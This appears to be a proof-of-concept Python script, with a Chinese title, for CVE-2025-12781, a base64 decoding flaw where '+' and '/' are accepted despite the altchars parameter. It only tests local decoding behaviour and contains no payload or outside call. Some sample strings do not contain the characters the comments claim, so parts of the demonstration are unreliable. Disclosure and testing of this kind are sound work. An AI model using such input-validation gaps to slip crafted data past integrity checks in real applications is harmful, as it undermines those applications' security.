CVE-2025-12781 Python base64模块altchars参数安全漏洞

import base64 import sys # PoC: 演示CVE-2025-12781漏洞 # 当使用altchars参数时，'+'和'/'字符仍被接受 def test_vulnerable_behavior(): """ Demonstrates the vulnerability where '+' and '/' are accepted even when altchars parameter is specified. """ # Define URL-safe alphabet (replace +/ with -_) altchars = b'-_' # Normal URL-safe encoded data (should work) normal_data = b'dGVzdA==' # 'test' encoded URL-safe # Malicious data containing '+' and '/' characters # These should be rejected when using altchars, but are accepted malicious_data = b'dGVzdCsihanM=' # Contains '+' and '/' try: # This should fail but doesn't due to the vulnerability decoded = base64.b64decode(malicious_data, altchars=altchars) print(f"[VULNERABLE] Decoded malicious data: {decoded}") print("The '+' and '/' characters were accepted despite altchars parameter") return True except Exception as e: print(f"[PATCHED] Decoding failed as expected: {e}") return False def demonstrate_integrity_issue(): """ Demonstrates potential data integrity issues. """ altchars = b'-_' # Attacker-controlled input with forbidden characters attacker_input = base64.b64encode(b'admin+/privilege').decode() print(f"Attacker input: {attacker_input}") # Application expects only URL-safe characters try: decoded = base64.urlsafe_b64decode(attacker_input) print(f"[WARNING] Data accepted: {decoded}") print("This could bypass integrity checks in applications") except Exception as e: print(f"[SAFE] Data rejected: {e}") if __name__ == '__main__': print("=== CVE-2025-12781 PoC ===") print() print("[*] Testing vulnerable behavior...") test_vulnerable_behavior() print() print("[*] Demonstrating integrity issue...") demonstrate_integrity_issue()